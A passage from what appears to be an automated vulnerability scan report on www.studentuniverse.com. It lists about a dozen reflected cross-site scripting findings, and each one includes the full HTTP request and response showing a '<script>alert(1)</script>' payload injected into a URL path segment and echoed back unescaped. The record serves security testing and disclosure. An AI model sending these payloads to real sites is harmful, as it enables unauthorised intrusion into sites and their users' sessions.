GET /Build7.6.3.2_20/javascript/jquery.pngFix.js352ba<script>alert(1)</script>51bcb681503 HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:44 GMT; Path=/
Pragma: No-cache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Type: text/html;charset=UTF-8
Content-Language: en
Date: Sat, 13 Nov 2010 22:00:44 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 127

The requested resource (/Build7.6.3.2_20/javascript/jquery.pngFix.js352ba<script>alert(1)</script>51bcb681503) is not available

1.36. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery/jquery-1.2.6.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/jquery/jquery-1.2.6.js

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload ba326<script>alert(1)</script>5dd709826e0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20ba326<script>alert(1)</script>5dd709826e0/javascript/jquery/jquery-1.2.6.js HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:29 GMT; Path=/
Cache-Control: Public
Expires: Sat, 13 Nov 2010 22:15:29 GMT
Content-Type: text/javascript;charset=ISO-8859-1
Date: Sat, 13 Nov 2010 22:00:29 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 193

The requested resource (/Build7.6.3.2_20ba326<script>alert(1)</script>5dd709826e0/javascript/jquery/ba326<script>alert(1)</script>5dd709826e0/javascript/jquery/jquery-1.2.6.js) is not available

1.37. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery/jquery-1.2.6.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/jquery/jquery-1.2.6.js

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 3cdda<script>alert(1)</script>9b552e13438 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascript3cdda<script>alert(1)</script>9b552e13438/jquery/jquery-1.2.6.js HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:29 GMT; Path=/
Cache-Control: Public
Expires: Sat, 13 Nov 2010 22:15:29 GMT
Content-Type: text/javascript;charset=ISO-8859-1
Date: Sat, 13 Nov 2010 22:00:29 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 117

The requested resource (/javascript3cdda<script>alert(1)</script>9b552e13438/jquery/jquery-1.2.6.js) is not available

1.38. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery/jquery-1.2.6.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/jquery/jquery-1.2.6.js

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload fa2c6<script>alert(1)</script>fd21d123355 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascript/jqueryfa2c6<script>alert(1)</script>fd21d123355/jquery-1.2.6.js HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:30 GMT; Path=/
Cache-Control: Public
Expires: Sat, 13 Nov 2010 22:15:30 GMT
Content-Type: text/javascript;charset=ISO-8859-1
Date: Sat, 13 Nov 2010 22:00:29 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 117

The requested resource (/javascript/jqueryfa2c6<script>alert(1)</script>fd21d123355/jquery-1.2.6.js) is not available

1.39. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery/jquery-1.2.6.js [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/jquery/jquery-1.2.6.js

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload ebaa7<script>alert(1)</script>fcae4e70adc was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascript/jquery/jquery-1.2.6.jsebaa7<script>alert(1)</script>fcae4e70adc HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:32 GMT; Path=/
Pragma: No-cache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Type: text/html;charset=UTF-8
Content-Language: en
Date: Sat, 13 Nov 2010 22:00:31 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 133

The requested resource (/Build7.6.3.2_20/javascript/jquery/jquery-1.2.6.jsebaa7<script>alert(1)</script>fcae4e70adc) is not available

1.40. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery/jquery-ui-personalized-1.5.2.min.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/jquery/jquery-ui-personalized-1.5.2.min.js

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 23e42<script>alert(1)</script>906f5e7f5d7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_2023e42<script>alert(1)</script>906f5e7f5d7/javascript/jquery/jquery-ui-personalized-1.5.2.min.js HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:27 GMT; Path=/
Cache-Control: Public
Expires: Sat, 13 Nov 2010 22:15:27 GMT
Content-Type: text/javascript;charset=ISO-8859-1
Date: Sat, 13 Nov 2010 22:00:27 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 213

The requested resource (/Build7.6.3.2_2023e42<script>alert(1)</script>906f5e7f5d7/javascript/jquery/23e42<script>alert(1)</script>906f5e7f5d7/javascript/jquery/jquery-ui-personalized-1.5.2.min.js) is
...[SNIP]...

1.41. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery/jquery-ui-personalized-1.5.2.min.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/jquery/jquery-ui-personalized-1.5.2.min.js

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 65609<script>alert(1)</script>07a6f69b511 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascript65609<script>alert(1)</script>07a6f69b511/jquery/jquery-ui-personalized-1.5.2.min.js HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:28 GMT; Path=/
Cache-Control: Public
Expires: Sat, 13 Nov 2010 22:15:28 GMT
Content-Type: text/javascript;charset=ISO-8859-1
Date: Sat, 13 Nov 2010 22:00:27 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 137

The requested resource (/javascript65609<script>alert(1)</script>07a6f69b511/jquery/jquery-ui-personalized-1.5.2.min.js) is not available

1.42. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery/jquery-ui-personalized-1.5.2.min.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/jquery/jquery-ui-personalized-1.5.2.min.js

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 45951<script>alert(1)</script>3e20e8be226 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascript/jquery45951<script>alert(1)</script>3e20e8be226/jquery-ui-personalized-1.5.2.min.js HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:28 GMT; Path=/
Cache-Control: Public
Expires: Sat, 13 Nov 2010 22:15:28 GMT
Content-Type: text/javascript;charset=ISO-8859-1
Date: Sat, 13 Nov 2010 22:00:27 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 137

The requested resource (/javascript/jquery45951<script>alert(1)</script>3e20e8be226/jquery-ui-personalized-1.5.2.min.js) is not available

1.43. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery/jquery-ui-personalized-1.5.2.min.js [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/jquery/jquery-ui-personalized-1.5.2.min.js

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 474bf<script>alert(1)</script>3d85f7af6c was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascript/jquery/jquery-ui-personalized-1.5.2.min.js474bf<script>alert(1)</script>3d85f7af6c HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:28 GMT; Path=/
Pragma: No-cache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Type: text/html;charset=UTF-8
Content-Language: en
Date: Sat, 13 Nov 2010 22:00:28 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 152

The requested resource (/Build7.6.3.2_20/javascript/jquery/jquery-ui-personalized-1.5.2.min.js474bf<script>alert(1)</script>3d85f7af6c) is not available

1.44. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery/jquery.autocomplete.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/jquery/jquery.autocomplete.js

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload a8879<script>alert(1)</script>31153d244ce was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20a8879<script>alert(1)</script>31153d244ce/javascript/jquery/jquery.autocomplete.js HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:29 GMT; Path=/
Cache-Control: Public
Expires: Sat, 13 Nov 2010 22:15:29 GMT
Content-Type: text/javascript;charset=ISO-8859-1
Date: Sat, 13 Nov 2010 22:00:28 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 200

The requested resource (/Build7.6.3.2_20a8879<script>alert(1)</script>31153d244ce/javascript/jquery/a8879<script>alert(1)</script>31153d244ce/javascript/jquery/jquery.autocomplete.js) is not available

1.45. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery/jquery.autocomplete.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/jquery/jquery.autocomplete.js

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 7b47b<script>alert(1)</script>d561339ba4b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascript7b47b<script>alert(1)</script>d561339ba4b/jquery/jquery.autocomplete.js HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:29 GMT; Path=/
Cache-Control: Public
Expires: Sat, 13 Nov 2010 22:15:29 GMT
Content-Type: text/javascript;charset=ISO-8859-1
Date: Sat, 13 Nov 2010 22:00:29 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 124

The requested resource (/javascript7b47b<script>alert(1)</script>d561339ba4b/jquery/jquery.autocomplete.js) is not available

1.46. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery/jquery.autocomplete.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/jquery/jquery.autocomplete.js

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 15712<script>alert(1)</script>7809cc084f8 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascript/jquery15712<script>alert(1)</script>7809cc084f8/jquery.autocomplete.js HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:29 GMT; Path=/
Cache-Control: Public
Expires: Sat, 13 Nov 2010 22:15:29 GMT
Content-Type: text/javascript;charset=ISO-8859-1
Date: Sat, 13 Nov 2010 22:00:29 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 124

The requested resource (/javascript/jquery15712<script>alert(1)</script>7809cc084f8/jquery.autocomplete.js) is not available

1.47. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery/jquery.autocomplete.js [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/jquery/jquery.autocomplete.js

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload f3d61<script>alert(1)</script>273dcee75ae was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascript/jquery/jquery.autocomplete.jsf3d61<script>alert(1)</script>273dcee75ae HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:30 GMT; Path=/
Pragma: No-cache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Type: text/html;charset=UTF-8
Content-Language: en
Date: Sat, 13 Nov 2010 22:00:29 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 140

